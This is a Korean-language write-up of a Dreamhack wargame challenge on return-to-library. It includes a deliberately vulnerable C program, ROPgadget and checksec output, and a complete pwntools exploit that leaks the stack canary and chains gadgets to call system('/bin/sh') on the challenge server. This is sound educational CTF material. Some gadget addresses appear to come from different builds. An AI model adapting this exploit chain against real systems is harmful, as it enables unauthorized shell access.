[Dreamhack] Return to Library
Return To Library
NX 보호로 인해 스택에 주입한 셸코드를 직접 실행할 수 없게 되자, 공격자들은 이미 실행 권한이 있는 메모리 영역을 활용하는 방법을 생각해냈다.
라이브러리 중에서도 다양한 함수가 구현된게 있는데, 예를 들면 리눅스에서 C언어로 작성된 프로그램이 참조하는 libc에는 system, execve 같은 프로세스 실행과 관련된 함수들이 있다.
공격자들은 libc의 함수들로 NX를 우회하고 셸을 획득하는 return to library 공격기법을 개발함.
리턴 가젯이란?
$ ROPgadget --binary rtl
Gadgets information
============================================================
...
0x0000000000400596 : ret
...
Unique gadgets found: 83
$
위에 출력된 거 처럼 ret 명령어로 끝나는 어셈블리 조각을 의미함.
실습해봄
코드 분석
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
"/bin/sh"를 바이너리에 추가
시스템 쉘을 실행하려고 할 때 /bin/sh 경로가 필요함. 이걸 위해 binsh 같은 포인터를 만들어 쓰는 것.
ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, “/bin/sh”의 주소는 고정되어 있다.
system 함수를 PLT에 추가
ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정돼, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있음.
버퍼 오버플로우
rtl.c의 19-28번째 줄까진 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있음.
보호기법 탐지
$ checksec rtl
카나리 존재
NX적용됨.
익스플로잇 설계
1. 카나리 우회
2. rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득
카나리를 구한 후 반환 주소를 덮을 수 있음.
"/bin/sh"의 주소를 알고 system 함수의 PLT 주소를 알기 때문에 "/bin/sh"의 주소를 rdi값으로 설정하면 system("/bin/sh") 실행이 가능함
왜 rdi?
익스플로잇
카나리값 찾기
#!/usr/bin/env python3
# Name: rtl.py
from pwn import *
p = process('./rtl')
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
카나리 획득
리턴 가젯 찾기 : 0x40101a
$ ROPgadget --binary=./rtl | grep ": ret"
pop rdi 주소 : 0x400853
IDA에서 5f (pop rdi ) c3( ret )서치해서 찾음
"/bin/sh" 주소 찾기 : 0x402004
system@plt 주소 찾기 : 0x4010b0
gdb ./rtl
(gdb) info functions
익스플로잇 코드
from pwn import *
p = process('./rtl')
p = remote('host3.dreamhack.games', 14538)
e = ELF('./rtl')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
# [2] Exploit
system_plt = 0x4010b0
binsh = 0x402004
pop_rdi = 0x400853
ret = 0x40101a # ROPgadget --binary=./rtl | grep ": ret"
payload = b'A'*0x38+ p64(cnry) + b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendline(payload)
p.interactive()